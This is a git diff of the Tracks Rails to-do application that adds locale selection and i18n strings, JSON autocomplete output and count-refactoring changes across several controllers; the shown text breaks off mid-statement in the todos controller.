diff --git a/.gitignore b/.gitignore index d62f537c..0af7cb4e 100644 --- a/.gitignore +++ b/.gitignore @@ -15,6 +15,8 @@ public/stylesheets/cache tmp vendor/plugins/query_trace/ rerun.txt -public/javascripts/jquery-all.js -public/javascripts/tracks.js -public/stylesheets/all.css +public/javascripts/jquery-cached.js +public/javascripts/tracks-cached.js +public/stylesheets/tracks-cached.css +.idea +.rvmrc diff --git a/app/controllers/application_controller.rb b/app/controllers/application_controller.rb index e94aac3a..779f9031 100644 --- a/app/controllers/application_controller.rb +++ b/app/controllers/application_controller.rb @@ -33,10 +33,12 @@ class ApplicationController < ActionController::Base before_filter :set_session_expiration before_filter :set_time_zone before_filter :set_zindex_counter + before_filter :set_locale prepend_before_filter :login_required prepend_before_filter :enable_mobile_content_negotiation + # after_filter :set_locale after_filter :set_charset - + include ActionView::Helpers::TextHelper include ActionView::Helpers::SanitizeHelper extend ActionView::Helpers::SanitizeHelper::ClassMethods @@ -47,6 +49,14 @@ class ApplicationController < ActionController::Base headers["Content-Type"] ||= "text/html; charset=UTF-8" end + def set_locale + locale = params[:locale] # specifying a locale in the request takes precedence + locale = locale || prefs.locale unless current_user.nil? # otherwise, the locale of the currently logged in user takes over + locale = locale || request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first if request.env['HTTP_ACCEPT_LANGUAGE'] + I18n.locale = locale.nil? ? I18n.default_locale : (I18n::available_locales.include?(locale.to_sym) ? locale : I18n.default_locale) + logger.debug("Selected '#{I18n.locale}' as locale") + end + def set_session_expiration # http://wiki.rubyonrails.com/rails/show/HowtoChangeSessionOptions unless session == nil @@ -114,21 +124,25 @@ class ApplicationController < ActionController::Base # config/settings.yml # def format_date(date) - if date - date_format = prefs.date_format - formatted_date = date.in_time_zone(prefs.time_zone).strftime("#{date_format}") - else - formatted_date = '' - end - formatted_date + return date ? date.in_time_zone(prefs.time_zone).strftime("#{prefs.date_format}") : '' end - def for_autocomplete(coll, substr) - filtered = coll.find_all{|item| item.name.downcase.include? substr.downcase} - return filtered.map {|item| "#{item.name}|#{item.id}"}.join("\n") + if substr # protect agains empty request + filtered = coll.find_all{|item| item.name.downcase.include? substr.downcase} + json_elems = "[{" + filtered.map {|item| "\"value\" : \"#{item.name}\", \"id\" : \"#{item.id}\""}.join("},{") + "}]" + return json_elems == "[{}]" ? "" : json_elems + else + return "" + end end + def auto_complete_result2(entries, phrase = nil) + json_elems = "[{" + entries.map {|item| "\"id\" : \"#{item.id}\", \"value\" : \"#{item.specification()}\""}.join("},{") + "}]" + return json_elems == "[{}]" ? "" : json_elems + end + + # Uses RedCloth to transform text using either Textile or Markdown Need to # require redcloth above RedCloth 3.0 or greater is needed to use Markdown, # otherwise it only handles Textile @@ -196,7 +210,7 @@ class ApplicationController < ActionController::Base def admin_login_required unless User.find_by_id_and_is_admin(session['user_id'], true) - render :text => "401 Unauthorized: Only admin users are allowed access to this function.", :status => 401 + render :text => t('errors.user_unauthorized'), :status => 401 return false end end diff --git a/app/controllers/contexts_controller.rb b/app/controllers/contexts_controller.rb index 8365c320..6e6cd265 100644 --- a/app/controllers/contexts_controller.rb +++ b/app/controllers/contexts_controller.rb @@ -13,16 +13,25 @@ class ContextsController < ApplicationController # checks later don't result in separate SQL queries @active_contexts = current_user.contexts.active(true) @hidden_contexts = current_user.contexts.hidden(true) - @count = @active_contexts.size + @hidden_contexts.size + @new_context = current_user.contexts.build + + # save all contexts here as @new_context will add an empty one to current_user.contexts + @all_contexts = @active_contexts + @hidden_contexts + @count = @all_contexts.size + + init_not_done_counts(['context']) respond_to do |format| format.html &render_contexts_html format.m &render_contexts_mobile - format.xml { render :xml => current_user.contexts.to_xml( :except => :user_id ) } + format.xml { render :xml => @all_contexts.to_xml( :except => :user_id ) } format.rss &render_contexts_rss_feed format.atom &render_contexts_atom_feed - format.text { render :action => 'index', :layout => false, :content_type => Mime::TEXT } - format.autocomplete { render :text => for_autocomplete(@active_contexts + @hidden_contexts, params[:q])} + format.text do + @all_contexts = current_user.contexts.all + render :action => 'index', :layout => false, :content_type => Mime::TEXT + end + format.autocomplete { render :text => for_autocomplete(@active_contexts + @hidden_contexts, params[:term])} end end @@ -90,13 +99,18 @@ class ContextsController < ApplicationController @original_context_hidden = @context.hidden? @context.attributes = params["context"] - if @context.save + @saved = @context.save + + if @saved if boolean_param('wants_render') - @context_state_changed = (@original_context_hidden != @context.hidden?) - @new_state = (@context.hidden? ? "hidden" : "active") if @context_state_changed + @state_changed = (@original_context_hidden != @context.hidden?) + @new_state = (@context.hidden? ? "hidden" : "active") if @state_changed respond_to do |format| format.js end + + # TODO is this param ever used? is this dead code? + elsif boolean_param('update_context_name') @contexts = current_user.projects render :template => 'contexts/update_context_name.js.rjs' @@ -105,8 +119,9 @@ class ContextsController < ApplicationController render :text => success_text || 'Success' end else - notify :warning, "Couldn't update new context" - render :text => "" + respond_to do |format| + format.js + end end end @@ -126,7 +141,10 @@ class ContextsController < ApplicationController @context.destroy respond_to do |format| - format.js { @down_count = current_user.contexts.size } + format.js do + @down_count = current_user.contexts.size + update_state_counts + end format.xml { render :text => "Deleted context #{@context.name}" } end end @@ -144,6 +162,13 @@ class ContextsController < ApplicationController protected + def update_state_counts + @active_contexts_count = current_user.contexts.active.count + @hidden_contexts_count = current_user.contexts.hidden.count + @show_active_contexts = @active_contexts_count > 0 + @show_hidden_contexts = @hidden_contexts_count > 0 + end + def render_contexts_html lambda do @page_title = "TRACKS::List Contexts" @@ -179,14 +204,14 @@ class ContextsController < ApplicationController def render_contexts_rss_feed lambda do - render_rss_feed_for current_user.contexts, :feed => feed_options, + render_rss_feed_for current_user.contexts.all, :feed => feed_options, :item => { :description => lambda { |c| c.summary(count_undone_todos_phrase(c)) } } end end def render_contexts_atom_feed lambda do - render_atom_feed_for current_user.contexts, :feed => feed_options, + render_atom_feed_for current_user.contexts.all, :feed => feed_options, :item => { :description => lambda { |c| c.summary(count_undone_todos_phrase(c)) }, :author => lambda { |c| nil } } end @@ -230,6 +255,7 @@ class ContextsController < ApplicationController @count = @not_done_todos.size end + end end diff --git a/app/controllers/feedlist_controller.rb b/app/controllers/feedlist_controller.rb index 4c2924e9..16d1ddc7 100644 --- a/app/controllers/feedlist_controller.rb +++ b/app/controllers/feedlist_controller.rb @@ -26,13 +26,19 @@ class FeedlistController < ApplicationController end def get_feeds_for_context - context = current_user.contexts.find params[:context_id] - render :partial => 'feed_for_context', :locals => { :context => context } + @context = current_user.contexts.find params[:context_id] + respond_to do |format| + format.html { render :file => 'feedlist/get_feeds_for_context'} + format.js + end end def get_feeds_for_project - project = current_user.projects.find params[:project_id] - render :partial => 'feed_for_project', :locals => { :project => project } + @project = current_user.projects.find params[:project_id] + respond_to do |format| + format.html { render :file => "feedlist/get_feeds_for_project"} + format.js + end end end diff --git a/app/controllers/login_controller.rb b/app/controllers/login_controller.rb index 5106686f..08ded1c9 100644 --- a/app/controllers/login_controller.rb +++ b/app/controllers/login_controller.rb @@ -33,30 +33,30 @@ class LoginController < ApplicationController @page_title = "TRACKS::Login" cookies[:preferred_auth] = prefered_auth? unless cookies[:preferred_auth] case request.method - when :post - if @user = User.authenticate(params['user_login'], params['user_password']) - session['user_id'] = @user.id - # If checkbox on login page checked, we don't expire the session after 1 hour - # of inactivity and we remember this user for future browser sessions - session['noexpiry'] = params['user_noexpiry'] - msg = (should_expire_sessions?) ? "will expire after 1 hour of inactivity." : "will not expire." - notify :notice, "Login successful: session #{msg}" - cookies[:tracks_login] = { :value => @user.login, :expires => Time.now + 1.year, :secure => SITE_CONFIG['secure_cookies'] } - unless should_expire_sessions? - @user.remember_me - cookies[:auth_token] = { :value => @user.remember_token , :expires => @user.remember_token_expires_at, :secure => SITE_CONFIG['secure_cookies'] } - end - redirect_back_or_home - return - else - @login = params['user_login'] - notify :warning, "Login unsuccessful" - end - when :get - if User.no_users_yet? - redirect_to signup_path - return + when :post + if @user = User.authenticate(params['user_login'], params['user_password']) + session['user_id'] = @user.id + # If checkbox on login page checked, we don't expire the session after 1 hour + # of inactivity and we remember this user for future browser sessions + session['noexpiry'] = params['user_noexpiry'] + msg = (should_expire_sessions?) ? "will expire after 1 hour of inactivity." : "will not expire." + notify :notice, "Login successful: session #{msg}" + cookies[:tracks_login] = { :value => @user.login, :expires => Time.now + 1.year, :secure => SITE_CONFIG['secure_cookies'] } + unless should_expire_sessions? + @user.remember_me + cookies[:auth_token] = { :value => @user.remember_token , :expires => @user.remember_token_expires_at, :secure => SITE_CONFIG['secure_cookies'] } end + redirect_back_or_home + return + else + @login = params['user_login'] + notify :warning, t('login.unsuccessful') + end + when :get + if User.no_users_yet? + redirect_to signup_path + return + end end respond_to do |format| format.html @@ -73,25 +73,38 @@ class LoginController < ApplicationController CASClient::Frameworks::Rails::Filter.logout(self) else reset_session - notify :notice, "You have been logged out of Tracks." + notify :notice, t('login.logged_out') redirect_to_login end end + + def expire_session + # this is a hack to enable cucumber to expire a session by calling this + # method. The method will be unavailable for production environment + unless Rails.env.production? + session['expiry_time'] = Time.now + respond_to do |format| + format.html { render :text => "Session expired for test purposes"} + format.js { render :text => "" } + end + else + respond_to do |format| + format.html { render :text => "Not available for production use"} + format.js { render :text => "" } + end + end + end def check_expiry - # Gets called by periodically_call_remote to check whether + # Gets called by periodically_call_remote to check whether # the session has timed out yet unless session == nil if session return unless should_expire_sessions? # Get expiry time (allow ten seconds window for the case where we have none) expiry_time = session['expiry_time'] || Time.now + 10 - @time_left = expiry_time - Time.now - if @time_left < (10*60) # Session will time out before the next check - @msg = "Session has timed out. Please " - else - @msg = "" - end + time_left = expiry_time - Time.now + @session_expired = ( time_left < (10*60) ) # Session will time out before the next check end end respond_to do |format| @@ -99,7 +112,7 @@ class LoginController < ApplicationController end end - def login_cas + def login_cas # If checkbox on login page checked, we don't expire the session after 1 hour # of inactivity and we remember this user for future browser sessions @@ -107,22 +120,21 @@ class LoginController < ApplicationController if session[:cas_user] if @user = User.find_by_login(session[:cas_user]) session['user_id'] = @user.id - msg = (should_expire_sessions?) ? "will expire after 1 hour of inactivity." : "will not expire." - notify :notice, "Login successful: session #{msg}" + msg = (should_expire_sessions?) ? t('login.session_will_expire', :hours => 1) : t('login.session_will_not_expire') + notify :notice, (t('login.successful_with_session_info') + msg) cookies[:tracks_login] = { :value => @user.login, :expires => Time.now + 1.year, :secure => SITE_CONFIG['secure_cookies'] } unless should_expire_sessions? @user.remember_me cookies[:auth_token] = { :value => @user.remember_token, :expires => @user.remember_token_expires_at, :secure => SITE_CONFIG['secure_cookies'] } end - #redirect_back_or_home else - notify :warning, "Sorry, no user by that CAS username exists (#{session[:cas_user]})" + notify :warning, t('login.cas_username_not_found', :username => session[:cas_user]) redirect_to signup_url ; return end else notify :warning, result.message end - redirect_back_or_home + redirect_back_or_home end @@ -149,8 +161,8 @@ class LoginController < ApplicationController if result.successful? if @user = User.find_by_open_id_url(identity_url) session['user_id'] = @user.id - msg = (should_expire_sessions?) ? "will expire after 1 hour of inactivity." : "will not expire." - notify :notice, "Login successful: session #{msg}" + msg = (should_expire_sessions?) ? t('login.session_will_expire', :hours => 1) : t('login.session_will_not_expire') + notify :notice, (t('login.successful_with_session_info') + msg) cookies[:tracks_login] = { :value => @user.login, :expires => Time.now + 1.year, :secure => SITE_CONFIG['secure_cookies'] } unless should_expire_sessions? @user.remember_me @@ -158,7 +170,7 @@ class LoginController < ApplicationController end redirect_back_or_home else - notify :warning, "Sorry, no user by that identity URL exists (#{identity_url})" + notify :warning, t('login.openid_identity_url_not_found', :identity_url => identity_url) end else notify :warning, result.message diff --git a/app/controllers/notes_controller.rb b/app/controllers/notes_controller.rb index 329b38e5..4081611a 100644 --- a/app/controllers/notes_controller.rb +++ b/app/controllers/notes_controller.rb @@ -1,87 +1,72 @@ -class NotesController < ApplicationController - - def index - @all_notes = current_user.notes - @count = @all_notes.size - @page_title = "TRACKS::All notes" - respond_to do |format| - format.html - format.xml { render :xml => @all_notes.to_xml( :except => :user_id ) } - end - end - - def show - @note = current_user.notes.find(params['id']) - @page_title = "TRACKS::Note " + @note.id.to_s - respond_to do |format| - format.html - format.m &render_note_mobile - end - end - - def render_note_mobile - lambda do - render :action => 'note_mobile' - end - end - - def create - note = current_user.notes.build - note.attributes = params["note"] +class NotesController < ApplicationController - saved = note.save + before_filter :set_source_view + + def index + @all_notes = current_user.notes.all + @count = @all_notes.size + @page_title = "TRACKS::All notes" + @source_view = 'note_list' + respond_to do |format| + format.html + format.xml { render :xml => @all_notes.to_xml( :except => :user_id ) } + end + end + + def show + @note = current_user.notes.find(params['id']) + @page_title = "TRACKS::Note " + @note.id.to_s + respond_to do |format| + format.html + format.m { render :action => 'note_mobile' } + end + end + + def create + @note = current_user.notes.build + @note.attributes = params["note"] + + @saved = @note.save respond_to do |format| - format.js do - if note.save - render :partial => 'notes_summary', :object => note - else - render :text => '' - end - end + format.js format.xml do - if saved - head :created, :location => note_url(note), :text => "new note with id #{note.id}" + if @saved + head :created, :location => note_url(@note), :text => "new note with id #{@note.id}" else - render_failure note.errors.full_messages.join(', ') + render_failure @note.errors.full_messages.join(', ') end end format.html do render :text => 'unexpected request for html rendering' end end - end - - def destroy - @note = current_user.notes.find(params['id']) - - @note.destroy - - respond_to do |format| - format.html - format.js do - @count = current_user.notes.size - render - end - end - - # if note.destroy - # render :text => '' - # else - # notify :warning, "Couldn't delete note \"#{note.id}\"" - # render :text => '' - # end - end - - def update - note = current_user.notes.find(params['id']) - note.attributes = params["note"] - if note.save - render :partial => 'notes', :object => note - else - notify :warning, "Couldn't update note \"#{note.id}\"" - render :text => '' - end - end - -end + end + + def update + @note = current_user.notes.find(params['id']) + @note.attributes = params["note"] + @saved = @note.save + respond_to do |format| + format.html + format.js { render } + end + end + + def destroy + @note = current_user.notes.find(params['id']) + @note.destroy + + respond_to do |format| + format.html + format.js { @down_count = current_user.notes.size } + end + end + + protected + + def set_source_view + @source_view = params['_source_view'] || 'note' + end + +end diff --git a/app/controllers/preferences_controller.rb b/app/controllers/preferences_controller.rb index 89935666..db27434b 100644 --- a/app/controllers/preferences_controller.rb +++ b/app/controllers/preferences_controller.rb @@ -1,12 +1,13 @@ class PreferencesController < ApplicationController def index - @page_title = "TRACKS::Preferences" - @prefs = prefs + @page_title = t('preferences.page_title') + @prefs = current_user.prefs end def edit - @page_title = "TRACKS::Edit Preferences" + @page_title = t('preferences.page_title_edit') + @prefs = current_user.prefs end def update diff --git a/app/controllers/projects_controller.rb b/app/controllers/projects_controller.rb index 374c874c..fadf2db3 100644 --- a/app/controllers/projects_controller.rb +++ b/app/controllers/projects_controller.rb @@ -9,14 +9,16 @@ class ProjectsController < ApplicationController def index @source_view = params['_source_view'] || 'project_list' - @projects = current_user.projects + @new_project = current_user.projects.build if params[:projects_and_actions] projects_and_actions else - @contexts = current_user.contexts + @contexts = current_user.contexts.all init_not_done_counts(['project']) if params[:only_active_with_no_next_actions] @projects = current_user.projects.active.select { |p| count_undone_todos(p) == 0 } + else + @projects = current_user.projects.all end init_project_hidden_todo_counts(['project']) respond_to do |format| @@ -26,7 +28,7 @@ class ProjectsController < ApplicationController format.rss &render_rss_feed format.atom &render_atom_feed format.text &render_text_feed - format.autocomplete { render :text => for_autocomplete(@projects.reject(&:completed?), params[:q]) } + format.autocomplete { render :text => for_autocomplete(current_user.projects.uncompleted, params[:term]) } end end end @@ -43,9 +45,9 @@ class ProjectsController < ApplicationController def show @max_completed = current_user.prefs.show_number_completed init_data_for_sidebar unless mobile? - @page_title = "TRACKS::Project: #{@project.name}" + @page_title = t('projects.page_title', :project => @project.name) - @not_done = @project.not_done_todos_including_hidden + @not_done = @project.todos.active_or_hidden @deferred = @project.deferred_todos @pending = @project.pending_todos @done = @project.todos.find_in_state(:all, :completed, :order => "todos.completed_at DESC", :limit => current_user.prefs.show_number_completed, :include => [:context]) @@ -55,6 +57,8 @@ class ProjectsController < ApplicationController @next_project = current_user.projects.next_from(@project) @previous_project = current_user.projects.previous_from(@project) @default_tags = @project.default_tags + @new_note = current_user.notes.new + @new_note.project_id = @project.id respond_to do |format| format.html format.m &render_project_mobile @@ -73,6 +77,7 @@ class ProjectsController < ApplicationController render_failure "Expected post format is valid xml like so: project name." return end + @project = current_user.projects.build params_are_invalid = true if (params['project'] || (params['request'] && params['request']['project'])) @@ -81,9 +86,11 @@ class ProjectsController < ApplicationController end @go_to_project = params['go_to_project'] @saved = @project.save + @project_not_done_counts = { @project.id => 0 } @active_projects_count = current_user.projects.active.count @contexts = current_user.contexts + respond_to do |format| format.js { @down_count = current_user.projects.size } format.xml do @@ -95,6 +102,7 @@ class ProjectsController < ApplicationController head :created, :location => project_url(@project), :text => @project.id end end + format.html {redirect_to :action => 'index'} end end @@ -119,18 +127,19 @@ class ProjectsController < ApplicationController if boolean_param('wants_render') if (@project.hidden?) @project_project_hidden_todo_counts = Hash.new - @project_project_hidden_todo_counts[@project.id] = @project.reload().not_done_todos_including_hidden.count + @project_project_hidden_todo_counts[@project.id] = @project.reload().todos.active_or_hidden.count else @project_not_done_counts = Hash.new - @project_not_done_counts[@project.id] = @project.reload().not_done_todos_including_hidden.count + @project_not_done_counts[@project.id] = @project.reload().todos.active_or_hidden.count end @contexts = current_user.contexts - @active_projects_count = current_user.projects.active.count - @hidden_projects_count = current_user.projects.hidden.count - @completed_projects_count = current_user.projects.completed.count + update_state_counts init_data_for_sidebar - render :template => 'projects/update.js.rjs' + render :template => 'projects/update.js.erb' return + + # TODO: are these params ever set? or is this dead code? + elsif boolean_param('update_status') render :template => 'projects/update_status.js.rjs' return @@ -151,10 +160,10 @@ class ProjectsController < ApplicationController end else init_data_for_sidebar - render :template => 'projects/update.js.rjs' + render :template => 'projects/update.js.erb' return end - render :template => 'projects/update.js.rjs' + render :template => 'projects/update.js.erb' end def edit @@ -166,11 +175,12 @@ class ProjectsController < ApplicationController def destroy @project.recurring_todos.each {|rt| rt.remove_from_project!} @project.destroy - @active_projects_count = current_user.projects.active.count - @hidden_projects_count = current_user.projects.hidden.count - @completed_projects_count = current_user.projects.completed.count + respond_to do |format| - format.js { @down_count = current_user.projects.size } + format.js { + @down_count = current_user.projects.size + update_state_counts + } format.xml { render :text => "Deleted project #{@project.name}" } end end @@ -201,11 +211,20 @@ class ProjectsController < ApplicationController end protected - + + def update_state_counts + @active_projects_count = current_user.projects.active.count + @hidden_projects_count = current_user.projects.hidden.count + @completed_projects_count = current_user.projects.completed.count + @show_active_projects = @active_projects_count > 0 + @show_hidden_projects = @hidden_projects_count > 0 + @show_completed_projects = @completed_projects_count > 0 + end + def render_projects_html lambda do - @page_title = "TRACKS::List Projects" - @count = current_user.projects.size + @page_title = t('projects.list_projects') + @count = current_user.projects.count @active_projects = current_user.projects.active @hidden_projects = current_user.projects.hidden @completed_projects = current_user.projects.completed @@ -230,10 +249,9 @@ class ProjectsController < ApplicationController def render_project_mobile lambda do if @project.default_context.nil? - @project_default_context = "This project does not have a default context" + @project_default_context = t('projects.no_default_context') else - @project_default_context = "The default context for this project is "+ - @project.default_context.name + @project_default_context = t('projects.default_context', :context => @project.default_context.name) end cookies[:mobile_url]= {:value => request.request_uri, :secure => SITE_CONFIG['secure_cookies']} @mobile_from_project = @project.id @@ -244,7 +262,8 @@ class ProjectsController < ApplicationController def render_rss_feed lambda do render_rss_feed_for @projects, :feed => feed_options, - :item => { :title => :name, :description => lambda { |p| summary(p) } } + :title => :name, + :item => { :description => lambda { |p| summary(p) } } end end @@ -293,7 +312,7 @@ class ProjectsController < ApplicationController project_description = '' project_description += sanitize(markdown( project.description )) unless project.description.blank? project_description += "

#{count_undone_todos_phrase(p)}. " - project_description += "Project is #{project.state}." + project_description += t('projects.project_state', :state => project.state) project_description += "

" project_description end diff --git a/app/controllers/recurring_todos_controller.rb b/app/controllers/recurring_todos_controller.rb index 2bfcdc3b..0d17e24b 100644 --- a/app/controllers/recurring_todos_controller.rb +++ b/app/controllers/recurring_todos_controller.rb @@ -6,15 +6,17 @@ class RecurringTodosController < ApplicationController append_before_filter :get_recurring_todo_from_param, :only => [:destroy, :toggle_check, :toggle_star, :edit, :update] def index - find_and_inactivate + @page_title = t('todos.recurring_actions_title') + find_and_inactivate @recurring_todos = current_user.recurring_todos.active @completed_recurring_todos = current_user.recurring_todos.completed + @no_recurring_todos = @recurring_todos.size == 0 @no_completed_recurring_todos = @completed_recurring_todos.size == 0 - @count = @recurring_todos.size - - @page_title = "TRACKS::Recurring Actions" + @count = @recurring_todos.size + + @new_recurring_todo = RecurringTodo.new end def new @@ -103,23 +105,24 @@ class RecurringTodosController < ApplicationController @recurring_todo.context_id = context.id end - @recurring_saved = @recurring_todo.save - unless (@recurring_saved == false) || p.tag_list.blank? + @saved = @recurring_todo.save + unless (@saved == false) || p.tag_list.blank? @recurring_todo.tag_with(p.tag_list) @recurring_todo.tags.reload end - if @recurring_saved - @message = "The recurring todo was saved" + if @saved + @status_message = "The recurring todo was saved" @todo_saved = create_todo_from_recurring_todo(@recurring_todo).nil? == false if @todo_saved - @message += " / created a new todo" + @status_message += " / created a new todo" else - @message += " / did not create todo" + @status_message += " / did not create todo" end - @count = current_user.recurring_todos.active.count + @down_count = current_user.recurring_todos.active.count + @new_recurring_todo = RecurringTodo.new else - @message = "Error saving recurring todo" + @status_message = "Error saving recurring todo" end respond_to do |format| @@ -139,7 +142,10 @@ class RecurringTodosController < ApplicationController # delete the recurring todo @saved = @recurring_todo.destroy - @remaining = current_user.recurring_todos.count + + # count remaining recurring todos + @active_remaining = current_user.recurring_todos.active.count + @completed_remaining = current_user.recurring_todos.completed.count respond_to do |format| @@ -162,11 +168,12 @@ class RecurringTodosController < ApplicationController def toggle_check @saved = @recurring_todo.toggle_completion! - @count = current_user.recurring_todos.active.count - @remaining = @count + @down_count = current_user.recurring_todos.active.count + @active_remaining = @down_count + @completed_remaining = 0 if @recurring_todo.active? - @remaining = current_user.recurring_todos.completed.count + @completed_remaining = current_user.recurring_todos.completed.count # from completed back to active -> check if there is an active todo # current_user.todos.count(:all, {:conditions => ["state = ? AND recurring_todo_id = ?", 'active',params[:id]]}) diff --git a/app/controllers/stats_controller.rb b/app/controllers/stats_controller.rb old mode 100755 new mode 100644 index 004b335c..c87ce450 --- a/app/controllers/stats_controller.rb +++ b/app/controllers/stats_controller.rb @@ -376,7 +376,7 @@ class StatsController < ApplicationController end if size==pie_cutoff - @actions_per_context[size-1]['name']='(others)' + @actions_per_context[size-1]['name']=t('stats.other_actions_label') @actions_per_context[size-1]['total']=0 @actions_per_context[size-1]['id']=-1 (size-1).upto @all_actions_per_context.size()-1 do |i| @@ -417,7 +417,7 @@ class StatsController < ApplicationController end if size==pie_cutoff - @actions_per_context[size-1]['name']='(others)' + @actions_per_context[size-1]['name']=t('stats.other_actions_label') @actions_per_context[size-1]['total']=0 @actions_per_context[size-1]['id']=-1 (size-1).upto @all_actions_per_context.size()-1 do |i| @@ -565,7 +565,7 @@ class StatsController < ApplicationController end def show_selected_actions_from_chart - @page_title = "TRACKS::Action selection" + @page_title = t('stats.action_selection_title') @count = 99 @source_view = 'stats' @@ -582,10 +582,10 @@ class StatsController < ApplicationController week_to = week_from+1 @chart_name = "actions_visible_running_time_data" - @page_title = "Actions selected from week " + @page_title = t('stats.actions_selected_from_week') @further = false if params['id'] == 'avrt_end' - @page_title += week_from.to_s + " and further" + @page_title += week_from.to_s + t('stats.actions_further') @further = true else @page_title += week_from.to_s + " - " + week_to.to_s + "" diff --git a/app/controllers/todos_controller.rb b/app/controllers/todos_controller.rb index 06a7d181..880c0de7 100644 --- a/app/controllers/todos_controller.rb +++ b/app/controllers/todos_controller.rb @@ -5,11 +5,11 @@ class TodosController < ApplicationController skip_before_filter :login_required, :only => [:index, :calendar] prepend_before_filter :login_or_feed_token_required, :only => [:index, :calendar] append_before_filter :find_and_activate_ready, :only => [:index, :list_deferred] - append_before_filter :init, :except => [ :destroy, :completed, + + # TODO: replace :except with :only + append_before_filter :init, :except => [ :tag, :tags, :destroy, :completed, :completed_archive, :check_deferred, :toggle_check, :toggle_star, - :edit, :update, :create, :calendar, :auto_complete_for_predecessor, :remove_predecessor, :add_predecessor] - append_before_filter :get_todo_from_params, :only => [ :edit, :toggle_check, :toggle_star, :show, :update, :destroy, :remove_predecessor, :show_notes] - protect_from_forgery :except => [:auto_complete_for_predecessor] + :edit, :update, :defer, :create, :calendar, :auto_complete_for_predecessor, :remove_predecessor, :add_predecessor] def index @projects = current_user.projects.find(:all, :include => [:default_context]) @@ -48,6 +48,9 @@ class TodosController < ApplicationController def create @source_view = params['_source_view'] || 'todo' + @default_context = current_user.contexts.find_by_name(params['default_context_name']) + @default_project = current_user.projects.find_by_name(params['default_project_name']) + @tag_name = params['_tag_name'] is_multiple = params[:todo] && params[:todo][:multiple_todos] && !params[:todo][:multiple_todos].nil? @@ -78,25 +81,27 @@ class TodosController < ApplicationController # Fix for #977 because AASM overrides @state on creation specified_state = @todo.state - - @todo.update_state_from_project @saved = @todo.save # Fix for #977 because AASM overrides @state on creation @todo.update_attribute('state', specified_state) unless specified_state == "immediate" + @saved = @todo.save + @todo.update_state_from_project if @saved unless (@saved == false) || tag_list.blank? @todo.tag_with(tag_list) @todo.tags.reload end - unless (@saved == false) + if @saved unless @todo.uncompleted_predecessors.empty? || @todo.state == 'project_hidden' @todo.state = 'pending' end @todo.save end + @todo.reload if @saved + respond_to do |format| format.html { redirect_to :action => "index" } format.m do @@ -110,12 +115,20 @@ class TodosController < ApplicationController end end format.js do - determine_down_count if @saved - @contexts = current_user.contexts.find(:all) if @new_context_created - @projects = current_user.projects.find(:all) if @new_project_created - @initial_context_name = params['default_context_name'] - @initial_project_name = params['default_project_name'] - @default_tags = @todo.project.default_tags unless @todo.project.nil? + if @saved + determine_down_count + @contexts = current_user.contexts.find(:all) if @new_context_created + @projects = current_user.projects.find(:all) if @new_project_created + @initial_context_name = params['default_context_name'] + @initial_project_name = params['default_project_name'] + @default_tags = @todo.project.default_tags unless @todo.project.nil? + @status_message = t('todos.added_new_next_action') + @status_message += ' ' + t('todos.to_tickler') if @todo.deferred? + @status_message += ' ' + t('todos.in_pending_state') if @todo.pending? + @status_message += ' ' + t('todos.in_hidden_state') if @todo.hidden? + @status_message = t('todos.added_new_project') + ' / ' + @status_message if @new_project_created + @status_message = t('todos.added_new_context') + ' / ' + @status_message if @new_context_created + end render :action => 'create' end format.xml do @@ -147,19 +160,19 @@ class TodosController < ApplicationController @todos = [] params[:todo][:multiple_todos].split("\n").map do |line| - @todo = current_user.todos.build( - :description => line) - @todo.project_id = @project_id - @todo.context_id = @context_id - puts "TODO: #{@todo.description}, #{@todo.project_id}, #{@todo.context_id}" - @saved = @todo.save - puts "NOT SAVED" unless @saved - unless (@saved == false) || tag_list.blank? - @todo.tag_with(tag_list) - @todo.tags.reload + unless line.blank? + @todo = current_user.todos.build( + :description => line) + @todo.project_id = @project_id + @todo.context_id = @context_id + @saved = @todo.save + unless (@saved == false) || tag_list.blank? + @todo.tag_with(tag_list) + @todo.tags.reload + end + @todos << @todo + @not_done_todos << @todo if @new_context_created end - @todos << @todo - @not_done_todos << @todo if @new_context_created end respond_to do |format| @@ -173,10 +186,15 @@ class TodosController < ApplicationController if @todos.size > 0 @default_tags = @todos[0].project.default_tags unless @todos[0].project.nil? else - @multiple_error = "You need to submit at least one next action" + @multiple_error = t('todos.next_action_needed') @saved = false; @default_tags = current_user.projects.find_by_name(@initial_project_name).default_tags unless @initial_project_name.blank? end + + @status_message = @todos.size > 1 ? t('todos.added_new_next_action_plural') : t('todos.added_new_next_action_singular') + @status_message = t('todos.added_new_project') + ' / ' + @status_message if @new_project_created + @status_message = t('todos.added_new_context') + ' / ' + @status_message if @new_context_created + render :action => 'create_multiple' end format.xml do @@ -190,8 +208,7 @@ class TodosController < ApplicationController end def edit - @projects = current_user.projects.find(:all) - @contexts = current_user.contexts.find(:all) + @todo = current_user.todos.find(params['id'], :include => [:project, :context, :tags, :taggings, :predecessors]) @source_view = params['_source_view'] || 'todo' @tag_name = params['_tag_name'] respond_to do |format| @@ -200,6 +217,7 @@ class TodosController < ApplicationController end def show + @todo = current_user.todos.find(params['id']) respond_to do |format| format.m do @projects = current_user.projects.active @@ -222,15 +240,20 @@ class TodosController < ApplicationController @todo.state = 'pending' @saved = @todo.save respond_to do |format| - format.js + format.js { + @status_message = t('todos.added_dependency', :dependency => @predecessor.description) + @status_message += t('todos.set_to_pending', :task => @todo.description) unless @original_state == 'pending' + } end end def remove_predecessor @source_view = params['_source_view'] || 'todo' + @todo = current_user.todos.find(params['id']) @predecessor = current_user.todos.find(params['predecessor']) @successor = @todo @removed = @successor.remove_predecessor(@predecessor) + determine_remaining_in_context_count respond_to do |format| format.js end @@ -239,9 +262,13 @@ class TodosController < ApplicationController # Toggles the 'done' status of the action # def toggle_check + @todo = current_user.todos.find(params['id']) @source_view = params['_source_view'] || 'todo' @original_item_due = @todo.due @original_item_was_deferred = @todo.deferred? + @original_item_was_hidden = @todo.hidden? + @original_item_context_id = @todo.context_id + @original_item_project_id = @todo.project_id @saved = @todo.toggle_completion! # check if this todo has a related recurring_todo. If so, create next todo @@ -265,7 +292,8 @@ class TodosController < ApplicationController determine_remaining_in_context_count(@todo.context_id) determine_down_count determine_completed_count - determine_deferred_tag_count(params['_tag_name']) if @source_view == 'tag' + determine_deferred_tag_count(params['_tag_name']) if source_view_is(:tag) + @wants_redirect_after_complete = @todo.completed? && !@todo.project_id.nil? && current_user.prefs.show_project_on_todo_done && !source_view_is(:project) if source_view_is :calendar @original_item_due_id = get_due_id_for_calendar(@original_item_due) @old_due_empty = is_old_due_empty(@original_item_due_id) @@ -277,10 +305,10 @@ class TodosController < ApplicationController format.html do if 